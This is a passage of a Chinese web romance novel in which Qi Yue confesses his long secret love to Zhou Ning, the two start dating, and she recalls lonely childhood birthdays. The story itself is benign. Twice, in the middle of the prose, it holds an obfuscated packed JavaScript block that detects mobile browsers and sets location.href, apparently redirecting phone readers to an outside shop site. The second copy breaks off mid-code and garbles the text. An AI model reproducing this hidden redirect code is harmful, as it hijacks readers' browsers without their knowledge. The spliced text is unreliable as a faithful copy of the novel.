从来没有哪一刻如此后悔过出国的决定。祁越转身离开,拖着青紫的黑眼圈和疲惫的身体坐上发往英国的航班。 断联刚开始几个月,戒断反应很严重。 起初他认为这只不过是青春期的一场雷阵雨,每个人都有,很快就会过去。 人类的本质就是多情,你也会喜欢上其他女孩。他尝试用书本上的理论说服自己。 他开始学着抽烟,寄希望于让尼古丁缓解由于戒断反应产生的压力。 根本没用,边抽边被呛得咳嗽,眼睛都被呛红了,还因此思绪泛滥,想起件往事。 课间他趴桌上眯眼小憩,周柠依旧坐在一旁认真整理笔记。 李依依跑过来找她玩,说起周末看过的电影,“其中有个画面是男主角对女主角吐烟圈,巨蛊巨有魅力!” “啊……”周柠皱眉,“我觉得好没礼貌,烟味超难闻。” 李依依:“你不懂,这叫调情,多有性张力。” 周柠:“调情是这样调的?挑衅多一点吧。不尊重人!难闻就是难闻,再帅的脸对着我吐二手烟都会想骂没素质。” 因为此事,李依依给她取了个外号——周纪委。 祁越没睡着,一直在偷听她们说话,忽然诈尸似的凑到周柠跟前,懒洋洋地开口调侃,“周纪委说得对,就是很没素质。” 李依依:“……不打扰你们,溜了。” 周纪委不喜欢烟味,于是他掐掉手里的烟,把剩下一整盒都丢进垃圾桶,再也没尝试过。 接着,祁越开始寄希望于酒精,喝得半醉不醉睡一觉,就什么都会忘掉。 结果适得其反。 喝醉了会做梦,梦里全是周柠。 以前就算因为关系生疏而不常联系,可他知道她在那里不会离开,有她的联系方式至少可以了解她的动态,偷偷喜欢起来,也不至于那么绝望。 唯一的联系方式没有了,就像海上航行的船只失去指南针,茫茫海面,不知道该往哪里走。 朋友看出他的不对劲,从来没见他这样失魂落魄过。 “你怎么了?中邪?” 祁越:“失恋。” “你恋过?什么时候?” 祁越:“……以后。” 呵,暗恋也是恋。 这根本不是青春期司空见惯的雷阵雨,而是蔓延在空气里,无边无尽的雾霾。 甚至有时在货架上看到青柠味薯片都会想起她。一是因为有个“柠”字,二是因为她喜欢吃这个口味。 莫名其妙的联想。 祁越总算是明白了,周围都是正常人,就他一个神经病。 因为已经下定决心要忘掉周柠,所以没想方设法联系班里同学取得周柠微信,而是在绵绵不断的阴雨中,将全部心思都用于课程学习。 忙,疯狂忙,忙着做事才不会胡思乱想。 跟喜欢的人断联不会死,地球也会照常转动。但却像是穿反了一件套头毛衣,时不时就要难受一阵。 书上的理论也不成立,人类的本质虽然是多情,但有的人把情分给很多人,而有的人只把多到快从身体里满出来的喜欢塞给特定的一个人,即使那个人并不接受。 把时间压了又压高效完成学业后赶回C市很难说没有周柠的原因,但别人如果问起,他一定会否认。 有时候大数据比本人更了解自己。 ——很多年以前喜欢的那个人现在还喜欢吗? 诸如此类的话题总是被精准投送到他面前。 “淡了。”他嘴硬地自言自语。 然而,通过时间忘记的人,根本经不起见面。 很平常的一个夏日晴天,闷热,写字楼里的冷气开得很足,周柠来他的公司面试。 即使相隔多年,他还是能一眼认出。 那一刻呼吸静止,时间停滞,连身体都不可察觉地微微颤抖。 而她则依旧如同多年前一样,对他背后的注视毫无察觉。 尽管如此,这个平常的晴天,也变得意义非凡。 祁越忍不住去翻看周柠简历,像个疯狂的唯粉按照简历上写明的线索挨个考古她过去的一切。大到参加过的每一场竞赛,小到校园社团活动。甚至扒出表彰照片,凝视很久。 她大一时谈的那个男朋友还在谈吗?这些值得纪念的瞬间那男的是不是也陪在她身边帮忙拍照? 呵,那男的拍得明白吗?怎么没本事跟人家一起站台上? 喝了一肚子无名醋后,唯粉爆改私生,在高中同学间四处打听,终于联系到李依依。得知周柠现在单身,嘴角一度比ak枪还难压。 这是缘分,他雀跃地想,没道理再放手。 于是接下来周柠以为的所有巧合,全都是祁越的蓄谋已久。 26. chapter(26) 周柠感觉祁越握她的手握得更紧了,仿佛今晚握住就永远不会松开似的,给她汇入一股莫名坚定的力量。 她开始仔细回想大一刚入学被盗号前前后后所有细节。 那天和男生小A不欢而散后,刚回寝室就撞见室友C举着手机激动大喊,“我们学校居然有这种气质美男,底下的人先别感叹啊,告诉我他是哪个院的啊啊啊啊啊啊!” 室友A:? 室友B:? 周柠:? 室友C继续激动,“你们看表白墙!” 最新一期表白墙投稿: 【捞人,破碎感的神!】 【当时太怂了,而且他看上去心情不太好,人又高冷,怕怕的,没敢上前要微信,现在一百万个后悔!】 【不匿,谢谢墙。】 【帅哥看到请联系我,让我来治愈你TvT,我嘴甜超级会哄人!】 附带一张背影图。 看到照片,周柠瞬间愣了愣。 就算已经高中毕业,她也不至于认不出祁越的背影。 但祁越在英国,怎么可能突然飞回国,还来她的学校呢?想想都觉得荒谬。 所以,她推测,这只能是个跟祁越背影很像的另一个男生。 但现在看来,当初照片里的背影,就是属于祁越。 周柠心忽然塌下去一块,双腿像灌了铅,停下脚步,不再往前走。 “祁越,”她扭头问,“你现在还喜欢我吗?” “喜欢,”祁越没有半秒犹豫,郑重道,“这多么年,我还是只喜欢你。” “能不能再说一次,刚才没听清。” 祁越笑了,“你想听多少次?我都可以在你耳边说。” 忽然他低头,嘴唇凑到她耳边,不断小声地重复,“我喜欢你我喜欢你我喜欢你我好喜欢你……” 这样暧昧的距离,远远看着就像是男人在亲吻女人的侧脸。 幸亏这里树木茂盛,落叶纷纷,遮得住路灯的光,才不至于让她赤红发烫耳朵暴露得太过明显。 热气呼在耳廓上,痒到心里去,周柠别开脸往后躲。 可手还牵着,刚往后退一步,就被拉回来。 “躲什么?不想再听了么?” 周柠揉揉还在发热的耳朵,“今天的听完了。” 祁越点点头,“哦,那明天再接着说。” 感受到不断侵袭而来的炙热目光,周柠顿了顿,缓缓开口,语气略微忐忑,“你喜欢我什么?” 她一直认为,像祁越这类男生会喜欢那种活泼开朗,站在舞台上会享受万众瞩目的女生。毕竟他们属于同类,应该很有共同话题,就算聚在一起玩也能玩得大胆开放。而她过分内敛的性格并不受大众欢迎。 “很多,你午休刚睡醒的时候刘海会往上翘,能安静地在座位上坐一天,发呆的样子很可爱,看似对什么都无所谓其实认定的事比谁都倔,有股很特殊的劲在身上,让我很想去探索……如果要一条条列举,可能一个晚上都列举不完。” 祁越眼睛亮晶晶的,毫不羞涩地说着让人脸红心跳的情话。 “总之,我见到你心情就会变好,长时间见不到你就会焦虑,想要压制必须用尽全力。明明想触碰你想得发疯,但害怕表现得太过疯狂会令你厌恶,所以每日克制。这种喜欢,是生理上的。” 周柠听着越发开始慌乱,扑通扑通的心跳几乎快堵到嗓子眼,只能强装淡定才能勉强开口。 周柠:“我性格很无聊,可能没办法持续给你带来新鲜感。” 祁越:“我追求的一直都不是新鲜感,而是你会一直跟我在一起的安全感。而且你并不无聊,你也不认为自己无聊,相反精神世界还比较富足,只是根据经验单方面认为别人会觉得你无聊,又觉得解释起来太过麻烦,所以才对外声称自己性格无聊。不喜欢你的人会觉得你闷,但喜欢你的人,就算和你无所事事地蹲在路边数蚂蚁也会觉得有趣。” 周柠目瞪口呆,祁越对她的了解比她想象中的还要多得多。 ——因为这是祁越在成百上千个背后默默观察的日子里产出的《周柠专项研究报告》。 周柠:“我其实有很多缺点,你可能暂时没发现。” 祁越:“那又怎么样?我喜欢你,包括你的缺点。” 周柠:“如果我以后暴露出来的缺点让你无法忍受呢?” 祁越:“会有这种如果吗?如果你坚信有的话,可以跟我在一起试试,直到暴露出的缺点让我无法忍受的那一天。但在做出这个尝试前,请务必做好跟我尝试一辈子的时间规划。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731498|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周柠:“嗯……你还有什么想要问我的吗?” 祁越噗嗤一声笑了,“你在当HR?” “决定是否被录用的反问环节可得好好把握。”他狡黠地转了转眼珠,最后盯住她的眼睛,“对于选我当男朋友这件事,你还有什么顾虑吗?” 晚风拂过,银杏叶沙沙摇晃,一场黄金雨。 世界仿佛在此刻被调成静音,路中央车辆来回穿梭,只剩他们被定格在此刻。 “不,没有任何顾虑。”周柠出声破局。 “祁越,我也喜欢你,这次带着足够的勇气。” 她深吸一口气,“做我的男朋友吧。” 坚定,认真,热烈。 祁越微怔,笑意随即荡开在眼底。 “好啊。” 话音刚落,他便一把将她抱在怀里,用力得像是要将她揉进身体。 周柠愣了三秒才反应过来,她被很郑重地拥抱了。 上一次这样面对面紧紧相拥是什么时候?忘了,可能在很久很久以前,是还很小的时候吧?久到甚至让她忘记拥抱的感觉。从小学到大学毕业工作全部搜索一遍,竟然找不出一点有关拥抱的记忆。 祁越比她高许多,双手从肋下穿过去,弯腰抱着她。 全身严丝合缝紧紧贴合,彼此狂跳的心脏渐渐变成同一频率。呼吸、气味、体温也全都融合在一起,像是两块无比契合的拼图碎片,而上面的图画正好勾勒出未来的模样。 周柠仰着脖子回抱,这个动作使得她被对方抱得更紧。 这种浑身被包裹的感觉,很踏实。 “初次绑定关系,请多关照,女朋友。”祁越在她耳边说。 热气呼在耳廓上,微微发痒,条件反射似的想躲,却只能往祁越怀里钻得更深。 脑袋晕乎乎的,那种像是喝了酒般,微醺上头的感觉又来了。周柠忍不住嘴角上扬,在祁越耳边说,“你也是。” 恋爱,她没谈过。理论中的爱情和友情截然不同,有很多需要学习的地方。 但现在,她有足够的勇气走进这段亲密关系。 城市的夜晚灯火璀璨,却依旧挡不住天边那轮满月的光辉。 月色真美。 周柠望着月亮雀跃又紧张地想,从今夜起,她要开始谈恋爱了。 27. chapter(27) 祁越罕见地发了条朋友圈,内容是一段简洁的日期附带一张照片。 日期精准到年月日,是从高一入校起,到确定恋爱关系那天为止,区间接近十年。 照片是两人合照,但在今天之前,周柠从来没见过这张照片。 从画面场地和服装来看,拍摄时间应该在高一上学期的秋季运动会。 周柠记得很清楚,那年运动会开幕会班级表演的是电子国风舞蹈《寄明月》,服装是汉元素短裙,秋天清晨的风一刮,冷得浑身起鸡皮疙瘩。 由于她和另外几个女同学肢体协调失败,死活学不会转扇子,还记不清舞蹈动作,不仅折磨自己,还折磨领舞的班长。班长只好放弃让全班女生一起转扇子的想法,把她们的扇子换成啦啦队花球,站在男生队伍前当块稍微好看些的背景板。 表演结束后,她穿着演出服装坐在操场周围的观看台上看其他班表演,完全没有注意到祁越就坐在她的左前方。 照片就是在这个时候拍摄。 手机压低,镜头翻转朝上。祁越垂眼俯视,慢慢挪动,调整机位。所以画面最后呈现出来的是祁越的半张脸,和周柠整个上半身。 祁越特别掩耳盗铃般强调,“这不是偷拍,而是误入镜头。” 周柠笑:“你自拍都用仰拍?好死亡的角度。” 祁越:“抗得住镜头,没办法,随手一拍都好看。” 周柠仔细一看,确实好看。 高挺的鼻梁,狐狸眼一垂,盯着画面右侧的少女看,蒲扇般的长睫在此刻显得更加醒目,隔着屏幕都能感受到那股在暗中观察时所散发出的,浓重探索欲。 “其实高一运动会我不仅坐在你前面,”祁越说,“开幕式表演的时候还站在你后面。” 周柠惊讶,“真的吗?” 祁越:“不信我给你翻班级群相册。” 结果还真是。 表演的时候她肯定会记得周围站了哪些人,因为要根据前后左右站的人找位置。但九年过去,她已经什么都不记得了。 最开始周柠还没因为肢体不协调而被劝退跳舞的时候祁越并不站在那里,后来周柠被调去当背景板,祁越就跟人换了位置。 这样最后表演结束拍大合照时,他们就会挨得很近。 除官宣朋友圈外,祁越还修改了原本的微信名。 现在变成——7.(名花有主版),酷哥孔雀开屏,一副恨不得昭告全世界他暗恋成功已经在谈恋爱了的架势。 在此之前,周柠对发朋友圈官宣这件事比较犹豫。 祁越眯起眼像拷问罪犯似的盯着她问:“我很拿不出手?” 周柠:“不是。” 祁越:“那你是觉得我们的感情不稳定,迟早会分,所以干脆不告诉朋友,免得以后解释起来麻烦?” 周柠连忙摆手,“不是不是。” 祁越:“哦,那肯定是池塘里还有其他鱼。” 周柠摆手三连,“不是不是不是!” 祁越:“那是因为什么?如果是因为工作可以分组。” “我知道可以分组,”周柠顿了顿,“其实是因为有点尴尬。” 祁越:“为什么尴尬?” 不知不觉间,他靠得更近,手掌搭在她的后颈上,一副要将她完全私有的模样。 “周柠,跟我谈恋爱不丢脸。” “不是因为丢不丢脸,跟你谈恋爱绝对不丢脸,是我自己的问题。”周柠慢吞吞地说,“可能因为这件事太有仪式感了,就像是被一群人簇拥着过生日一样。” “你不喜欢仪式感?” 周柠摇摇头,“也不是不喜欢,只是……” 她停顿半晌,努力在脑中搜索出合适的形容词来描述现在的拧巴。 明明内心满怀期待,却在仪式感降临之时无所适从。 “……只是不习惯,暂时没办法去适应和享受。” -- 爸妈都不是那种很有仪式感的浪漫人群,所以从小到大,周柠几乎没有隆重地举行过生日。 童年在镇上跟着外婆外公长大,那时候爸妈做生意亏了很多钱,家里资金周转困难。外婆是个很节约的人,她和外公的勤俭拉扯大三个孩子,在镇上修了还算漂亮的小楼房。尽管以后日子好起来,外婆节俭的习惯依旧没改变。 五十年代的老一辈大多数也没各种仪式感,只讲究实用感,更不兴给小孩子过生日。所以每当过生日的时候,外婆就给她两块钱,让她在放学路上在镇上的蛋糕店买一个一块五的纸杯蛋糕吃。 纸杯底下铺着粗糙的边角料戚风蛋糕,然后挤满植物奶油,抹平后在顶端点缀一朵色素奶油小花。 这已经是外婆在有限的认知里,所能为小孩子提供的,最好的生日。毕竟在外婆小时候可能都没有过生日的概念,生日那天跟平常没区别,一样要上山下田干农活。 可这样主观意义上的“好生日”根本经不起对比。 动画片、电影、电视剧里主角的生日根本不会孤零零。 等再长大一些,四年级的时候她被同学陈佳乐邀请去家里参加生日派对。派对上有很多好吃的零食,三层高的大蛋糕,就连生日蜡烛都是能开花旋转的莲花蜡烛,清脆尖锐的音乐响个不停,每个人排队给陈佳乐送礼物。 原来真的有人生日会举办得如此隆重。 “你每年生日都这么过吗?”周柠有些羡慕地问。 “对呀,每年我妈都会给我买大蛋糕,做一大桌子菜,买一大堆零食,再请一堆人到家里来。只不过今年我满十岁,所以蛋糕格外大。你看到吃完蛋糕后剩下的那堆奶油了么?” 周柠点点头,“剩下的奶油会干嘛?” “当然是玩呀,我跟她们去年就是把奶油拿来糊脸玩的。” 说话间,陈佳乐将涂满奶油的生日蛋糕盘扣在周柠脸上,“就像这样。” 周柠看不见了,只能听到大家在周围嘻嘻哈哈,还有莲花蜡烛隐隐约约传来的音乐声。 那个生日派对上,她遭抹得最惨。不仅仅是脸,衣服,头发,鞋,几乎快变成一只雪人。因为她被按在地上,好几个人轮番上阵,想反击都没办法。 陈佳乐妈妈特别生气,不顾陈佳乐的面子直接愤然怒吼。 “请同学来做客是为了合伙欺负人家的吗?” “玩闹也要适可而止吧?你觉得这样看人家出糗很有趣?” “妈妈平常怎么教你的?嗯?说话!跟周柠同学道歉!” “道歉!” 陈佳乐没道歉。 陈佳乐哭了。 陈佳乐冲进房间反锁房门。 整个生日宴会不欢而散。 周柠呆愣地站在原地,不知所措。直到陈佳乐妈妈来帮她擦头发上的奶油时,她都没意识到自己可能被欺负了。 “柠柠呀,”陈佳乐妈妈喊得很亲切,“待会儿是你妈妈来接回家,还是爸爸来接回家?” “我自己一个人回家。”周柠说。 “是爸爸妈妈很忙吗?” “外婆说他们忙着在外面打工赚钱。我长大了,可以一个人回家。” “哦,是这样啊。”陈佳乐妈妈脸上紧张的神情瞬间烟消云散,连笑容都变得更加开怀。 头发上还有很多奶油,但陈佳乐妈妈没再继续帮她擦。 “柠柠呀,你今天跟我们家乐乐玩得太过火了,以后还是得收着点,不然弄得大家都不高兴。”陈佳乐妈妈说,“现在天都快黑了,你赶快回家吧,不然你外婆会担心。” 周柠一个人回家了。 外婆看着她浑身都是奶油,忍不住说她一顿。 “这么大个人,玩闹也要有点分寸!小姑娘家家的,一玩起来连姓什么都不知道!你看看,弄的到处都是,衣服沾了奶油也不好洗!哪有人过生日这么过的?不好好吃蛋糕拿奶油来乱扔!” 周柠沉默着,没说话。晚上一个人回房间睡觉的时候,脑袋蒙在被子里,委屈地哭了出来。 她想了很久,陈佳乐有自己热闹的男男女女小团体,跟她这个孤僻的同学关系只能算作普通,这次邀请她参加生日宴会,可能不是为了示好,而是单纯想给她个教训。 因为她多管闲事。 班里新转来一个女生,那个女生性格比周柠还闷,胖胖的,长得不好看,穿得也不干净,成绩还差。这自然而然成为了陈佳乐小团体欺负的对象。 他们扯女生的头发,将拉马尾的动作取名为“拉灯泡”,在女生作业本上乱写乱画,有时候还会当着女生面把第二节课上课要用的课本丢到楼下去,这样老师看到女生上课不带书就会批评她。偏偏女生性格阴郁,对别人丢她书的事也不解释,所以小团体的戏弄变本加厉。 周柠看见了。 看不惯一点。 尽管跟新转来的女生并非好朋友,但她没有袖手旁观,而是选择告诉老师。小团体因此被批评警告。 周柠成绩很好,长得也乖巧,想不让老师重点关注都难,所以小团体除了在背后蛐蛐她爱打小报告外,不敢在学校或者放学后对她进行任何实际性伤害。只能暗戳戳地,用请客参加生日宴会的方式,弄到家里去搞小动作。 后来,周柠继续多管闲事——告老师,但没跟那个女生交朋友,因为她不喜欢交太多朋友,而且没什么共同话题,也聊不到一块去。 陈佳乐依旧每年都举办生日宴会,年级上很多人都会去,只不过再也没邀请过周柠。自此以后,周柠直到长大成人,都没参加或者拥有过一场,正经举行的生日。 比起女儿的身心成长,邱晓慧女士更在乎女儿的成绩。过生日耽误上补习班,而且大人工作太忙,根本没时间特意帮小孩过生日。所以邱晓慧直接给钱。 初中生日给两百,高中生日给四百。后来大学直接打钱到银行卡,红包也涨到八百。 周柠渐渐从羡慕别人隆重的生日转变为觉得没必要过生日,麻烦,况且她也请不了几个人到家里来。直接给钱最好了,省事,还能拿着钱去买想要的东西。 初三那年她的生日正好在星期天,室长苏满神秘兮兮地说:“有惊喜哦~周天返校,我们刚好可以帮你过生日!” 她拿出提前买好的切角慕斯小蛋糕,将六把塑料小勺子分给每个人,“嘿嘿,这个蛋糕小,待会儿我们就一人吃两口,吃得少,所以就算晚上吃也不会胖。” 接着,她将生日帽戴到周柠头上,兴奋地拍手说,“好了,我们来唱生日歌吧!” “祝你生日快乐~祝你生日快乐~祝你生日快乐~~祝你生~日~快~乐~~~” “happybirthdaytoyou~happybirthdaytoyou……” 一切都来得太突然,周柠感觉这首生日歌简直唱了半辈子那么长。 五双眼睛一起盯着她,明明是真诚又热烈的祝福,可她却恨不得躲到地缝里去。 她没亲身经历过这种情况,不知道该怎么应对,社交恐惧症焦虑症双症齐发,一时尴尬得连手都不知道该怎么放。 要不要跟着唱“祝我生日快乐”?或者说现在闭上眼睛许愿? 快疯掉了。 生日歌还没唱完,周柠却像个只会回避的胆小鬼似的,将头上的生日帽戴到室友黎敏头上。 “敏敏生日就在我前一天,大家一起庆祝吧。” 她企图这样能实现焦点转移。 生日歌戛然而止,众人面面相觑。 “我在家里已经过啦。”黎敏说。 但她随即笑起来,“但是可以跟你们再过一遍!你们都给我重新再唱一遍生日歌吧!” 于是生日歌重新响起,黎敏大方坦然地接受着室友们的祝福,俨然成为崭新的焦点。 从主角变为配角后,周柠并没有变轻松,因为她敏锐地察觉到,苏满有些不高兴。 事后苏满果然在次日体育课上很不满地质问:“我明明是只想帮你过生日的,为什么要把黎敏拉进来呢?” “对不起。”周柠低着头,伸手去拉苏满的袖子,“我请你喝奶茶。” 她忽然很讨厌自己。 为什么没有勇气坦然地去接受朋友对你的好?又让别人失望了。 她实在是个没什么仪式感的人,同时又拧巴地希望有点仪式感,但如果仪式感当真降临在身上,又会觉得无所适从。 朋友同学们生日和恋爱时总会发空间动态和朋友圈,然后得到一长串祝福。此时她也会在底下评论【生日快乐!】或者【祝99】 但周柠从来不给自己过生日,不吃蛋糕,不聚会,也不发朋友圈,大学时闷着头在实验室做项目,工作后又忙着加班。有时生日已经过去大半个月,她才恍恍惚惚地反应过来,自己又长大一岁。 曾经为了想表现得合群一点,活泼一点,盘算着要不要也买个小蛋糕插上蜡烛然后发圈说今天是她生日,但始终没开始行动。原因一是生日那天忙忘了,二是觉得,无人在意,所以没必要。 好像这种仪式不属于她。 真正在意的人很少,一只手就能数清。 爸妈会在生日前后几天内给她打钱——工作后此项目停止,李依依有时会在当天私信说“生日快乐”,有时会在生日过去几天后忽然想起来,然后问:“生日想要什么礼物?” ……或许还有祁越。 高二上学期还在做同桌时祁越便问过她,“你生日是在什么时候?” 她没深究祁越为什么要问她生日,只当在闲聊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人坐在店里最深的角落处,如果不刻意凑过来看,几乎没人会发现。 蛋糕装饰得很精致,口味层次也很丰富,不大不小,两个人刚刚好。 祁越点燃一根蜡烛插在蛋糕上,“许愿吧。” 也许是因为这里空间隐蔽又只有两个人,所以周柠在听到祁越小声地给她唱生日歌时,并没有当初在寝室中那种迫不及待想要逃离的感觉。反而有一种被温暖烛火包裹的踏实。这种踏实转变成绵绵不尽的喜悦在心头逐渐蔓延。 周柠想,这两年多以来,她也不算毫无进步。 “呼——”她将蜡烛吹灭,看向祁越小声地说了句,“谢谢。” “你许的什么愿?” “期末零诊考进全市前一百。” “你不怕说出来不灵?” 周柠一本正经,“灵不灵只看自己努不努力。” 少年低低笑出声,“吃了我送的蛋糕,拿不准的选择题想蒙不对都难。” 周柠发现平常习惯性臭脸的祁越跟她在一起时总是喜欢笑。也不知道是觉得开心,还是觉得她有时说话过于人机而觉得好笑。 还有一点发现——祁越对她好得有点太过分了。 低着头小口挖蛋糕吃,祁越忽然问:“你是不是又在心里盘算该怎么把这次请的蛋糕还给我?” 周柠抬头,愣了三秒后,幽幽道:“你肯定会读心术。” “多简单,下次来陪我过生日就行。一月十九号,正好在寒假,记清楚了。” 周柠:“嗯,一月十九。” 生日过后的很长一段时间里,祁越都没来学校,有时只是抽空回学校办资料,期末零诊联考自然也没参加,不过,他也没必要参加。 好消息是,那次零诊,周柠全市排名九十九。 坏消息是,祁越的生日她没能如期赴约。 -- 现在,周柠思绪万千。 青年时期和少年时期的祁越开始不断重合,那双望向她的眼睛里,仍旧是不断往外冒的探索欲。 他想了解她,想拥抱她,与此同时,也把自己整个敞开给她看。 周柠日常和人交往就算再亲密也会留一线,而此时,面对这个相识快十年但刚确定恋爱关系的男朋友,忽然觉得,他们应该融合。 他们可以互相亏欠,可以进行很多deeptalk。 “这才哪到哪,以后会有更多仪式感,生日节日纪念日,你会慢慢习惯。”祁越捧着她的脸颊轻轻揉捏,“不要别忘了,我们在谈恋爱,甚至还没过热恋期。” “那我得学着提前脱敏。” 周柠不抗拒这样亲密的距离,反而觉得微微上头。 “我想亲你的眼睛。”祁越忽然低头在她耳边用气声说。 周柠:“我闭眼了。” 结果传来柔软湿润触感的不是眼皮,而是嘴角。 “你没亲我的眼睛。”周柠睁开一只眼。 “刚才不小心亲错了,”祁越眉眼弯弯,“再来一次,这次肯定对。” …… 等周柠千挑万选终于纠结好文案,却在发愁该配什么图。 祁越:“现拍现用。我要有正脸,VIP位,让你的家人朋友都来认识下我。” 他说着立马将周柠揽进怀里。 于是就有了朋友圈里这张相框里挤进一张脸,迫不及待地要和大家打招呼的照片。 不一会儿就有人给她发消息了。 李依依开始消息轰炸,接着是快被消息气泡撑爆的大学寝室群,最后两个中老年终于接收到信息,常年安静如鸡的家庭三人群顿时变得格外拥挤。 周柠:嘶——该从哪条开始回? 狐狸眼上扬,祁越凑过去说:“好好跟叔叔阿姨介绍你的男朋友,如果你实在不会呢,我可以亲自来。” 鬼知道他会做出什么惊人的举动哦!周柠把手机攥紧,“不劳您烦心,我可以!” 对于恋爱该怎么谈,周柠属实一窍不通,只能照葫芦画瓢。可惜现在已经大学毕业工作两年,以前观察学来的部分经验作废,没有办法打卡在女生宿舍楼底下你侬我侬的经典画面,只能另辟蹊径。 “要换情侣头像吗?”她问。 祁越感叹,“总算开窍了,当然要换。” 于是两人凑在一起选了很久的头像。 世界上所有情侣也许都会做些大同小异的事情,但周柠想,成千上万对情侣在做同一件事时,一定有成千上万种确幸。 28. chapter(28) 周柠花了一个星期才适应过来自己真的在谈恋爱这件事。 但祁越适应得很快,这是确定关系前在心里反复排练过的成果。 太阳没有停止发热,地球没有停止自转,月亮照常升起,星星依旧闪烁,每天还是川流不息地上班吃饭,但周柠就是觉得,这个世界开始变得很不一样。 虽然以前也跟祁越一起去看过电影,但现在一起去看电影这项行为有了个新学名——约会。祁越会很自然地把手伸过来跟她十指相扣,时不时贴耳说悄悄话,偷偷在底下玩她的手指。 还记得第一次出来看电影的时候还只是普通老同学,一起去电影院也只是单纯为了看电影,中途交流很少,周柠记得自己坐得比在教室里还要端正。而现在,她会不由自主地靠过去,脑袋枕在祁越肩上。 在不同时期跟同一个人做同一件事就会有不同感受,跟不同的人做相同的事也会有不同的心情。 祁越并不喜欢在超市里漫无目的地闲逛,认为这是在浪费时间,所以往往速战速决,但有了周柠的加入,他对逛超市这项活动大为改观。原来他是不喜欢自己闲逛,也不喜欢跟别人闲逛,但很喜欢跟周柠闲逛。不仅仅是超市,还有步行街、湖边、景区,或许以后还能跟周柠解锁更多新地图。 他喜欢看周柠在货架上挑挑选选放进购物车,更喜欢在周柠纠结两种口味该选哪一个的时候将两种口味一起放进购物车再搂着周柠的腰奔向下一区域。最后掏出手机付款时因为逛超市这项活动所分泌的多巴胺就会达到巅峰,直到最后提着东西回家都持久不散。 跟真正喜欢的人在一起,想要在平淡的生活中获取快乐变得十分简单,比如替ta买单。 对此,周柠曾表示过也可以让她付几次,但祁越仅仅只是把自己的手机付款二维码递给她,“喏,你来扫。” 周柠:“……” 随后她又委婉地表示,“可以A……” 后面那个A还没来得及说出口,祁越便义正言辞道:“停,打住,咽回去。” 周柠:“好的。”不敢说话.jpg 走在回家路上,祁越似乎越想越不甘心,“我们是在谈恋爱对吧?” 周柠:“对呀。” 祁越:“那你为什么还要像以前一样跟我分那么清?” 周柠哑口无言。 是的,他们在谈恋爱。恋爱谈到最后往往算不清谁欠谁更多。如果分分计较,笔笔盘算,那这个恋爱不如不谈。 但她不是算计,她只是不想对方承担太多。不管是时间情感,还是金钱上的付出,都是相互的,没有谁就该一直为谁付出。 大概是表达不清楚,让祁越误以为谈恋爱后,她还在跟他客气。 客气的潜台词就是,我们没那么熟,以及,我对你没那么喜欢,不想牵扯太多是为了避免以后还不清。 所以祁越继续输出:“这里面的东西我不用?难道还要你一半我一半?当离婚分家产呢?” 周柠顿了顿,小声问:“你生气了么?” 祁越故意冷着脸,“是的,你能看出来,我很欣慰。” 周柠:“我只是觉得不能总让你付出。” 祁越挑眉,“你可以付出点别的。” 周柠:“比如?” 祁越:“一点安慰。” 周柠:“好的,让我想想。” 她还在思考安慰的话,组织说明心路历程的语言。 祁越忽然停下来,“你靠近一点。” 周柠:“嗯?”凑过去。 祁越低头,在她脸上轻轻一啄。 周柠:! 还在外面! 四处张望,幸好,周围没人。 祁越笑容得意,说话语气也得意,“安慰成功,我现在不生气了。” 周柠手按在被亲的地方,“你这样让我觉得自己是在出卖|肉|体诶。” 祁越:“……” 周柠:“……”完美,看他表情应该有get到我的冷幽默。 人在无语的时候,是会笑的。 所以静默三秒后,祁越没脸没皮地说:“你亲我,我来卖。而且卖得毫无心理负担。” 周柠:“好的,从明天开始努力赚钱。争取能在你从良前尽快包养你。” 祁越:“那我也不能落后,得从今天开始学习《如何套取富婆欢心》。” 周柠:“我们这叫什么?” 祁越:“双向奔赴。” ——的病情。 -- 开始谈恋爱后,由于有个完美契合的学习搭子,周柠每天的学习进度都在突飞猛进,相信很快就能顺利结课拿到学分。 她的目标是满绩4.0 想到达到这个成绩,目前还需要进行更多的自主学习,然后再投入两人团队实践。 周柠决定给祁越换个称呼,总不能一直喊人大名,偶尔也要有点小惊喜。 老公?老婆?宝宝?哥哥?亲爱的?乖乖?姐夫?少爷?手机尾号7490?老板? 老公哥哥老婆(暂时叫不出口)pass 亲爱的(有点油……) 乖乖(等他需要安慰的时候再喊吧) 姐夫(可以作为外出整蛊备用词) 少爷(听上去有些阴阳怪气,生气的时候再用) 手机尾号7490(特定情景备用词,到时候再用吧,让他莫名其妙一下) 老板(听上去像是还在上班,需要公事公办,pass) 挑来挑去,周柠决定先从“宝宝”这个初级词汇开始。虽然情侣间称呼“宝宝”很没有新意,但因为这个词足够大众,对向来含蓄清冷的周柠而言更好入门。 语言通货膨胀也不全是坏事,至少能让人更轻松地把爱意说出口。 她甚至还可以把自己想象成直播间带货主播,如此“宝宝”这个暧昧又黏腻的词汇说得就更加轻松了。 于是,周柠走到祁越跟前。 “宝……”好的她要准备开口了。 祁越:“bǎo什么?” 周柠:“宝……保龄球。” 祁越:“……?” 周柠:“……”啊啊啊啊啊啊失败了! 祁越凑过去盯着她看,把她脸上所有细微的表情全部收入眼底。 紧张,羞涩,着急,还有一丝丝恼怒。 祁越忽然狡猾地笑了,像是看出来她心里的想法,却不拆穿。 “什么保龄球,你想打保龄球?” 还是等下次机会吧,或者网聊的时候用,一上来就开口,对新手村玩家来说难度太大。 于是周柠只好点点头,顺着话说,“对,祁越,我们去打保龄球吧。” 祁越:“行,收拾下,待会儿出门。” 周柠:“现在?!” 